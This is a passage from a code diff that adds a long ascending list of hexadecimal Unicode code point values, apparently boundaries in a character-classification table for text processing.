+	0x135B,
+	0x135D,
+	0x1360,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166E,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x169D,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1715,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1752,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1802,
+	0x1803,
+	0x1804,
+	0x1808,
+	0x1809,
+	0x180A,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1944,
+	0x1946,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A17,
+	0x1A1C,
+	0x1A20,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1AAC,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BF4,
+	0x1C00,
+	0x1C24,
+	0x1C38,
+	0x1C3B,
+	0x1C3D,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D00,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FDC,
+	0x1FE0,
+	0x1FE8,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFD,
+	0x2000,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2013,
+	0x2015,
+	0x2018,
+	0x2020,
+	0x2024,
+	0x2025,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x2045,
+	0x2047,
+	0x204A,
+	0x205F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207D,
+	0x207F,
+	0x2080,
+	0x208D,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2170,
+	0x2180,
+	0x2183,
+	0x2184,
+	0x2185,
+	0x2189,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x24B6,
+	0x24D0,
+	0x24EA,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF2,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2E,
+	0x2E2F,
+	0x2E30,
+	0x2E3C,
+	0x2E3D,
+	0x2E42,
+	0x2E43,
+	0x3000,
+	0x3001,
+	0x3002,
+	0x3003,
+	0x3005,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0x3021,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA4FF,
+	0xA500,
+	0xA60D,
+	0xA60E,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA789,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F7,
+	0xA7F8,
+	0xA7FB,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA876,
+	0xA878,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8CE,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA90A,
+	0xA926,
+	0xA92E,
+	0xA92F,
+	0xA930,
+	0xA947,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9C8,
+	0xA9CA,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA37,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5D,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF0,
+	0xAAF2,
+	0xAAF5,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE10,
+	0xFE12,
+	0xFE13,
+	0xFE14,
+	0xFE17,
+	0xFE19,
+	0xFE20,
+	0xFE30,
+	0xFE31,
+	0xFE33,
+	0xFE35,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE50,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE5F,
+	0xFE63,
+	0xFE64,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF02,
+	0xFF08,
+	0xFF0A,
+	0xFF0C,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF1F,
+	0xFF20,
+	0xFF21,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF41,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF65,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFF9,
+	0xFFFC,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x10428,
+	0x10450,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A56,
+	0x10A58,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x11049,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11141,
+	0x11144,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111C7,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111D0,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111DE,
+	0x111E0,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112AA,
+	0x112B0,
+	0x112DF,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x1144D,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x115DC,
+	0x115DE,
+	0x11600,
+	0x11630,
+	0x11641,
+	0x11643,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116AB,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x1173C,
+	0x1173F,
+	0x118A0,
+	0x118C0,
+	0x118E0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A42,
+	0x11A44,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A9A,
+	0x11A9B,
+	0x11A9D,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C41,
+	0x11C43,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16AF6,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B39,
+	0x16B40,
+	0x16B44,
+	0x16B45,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
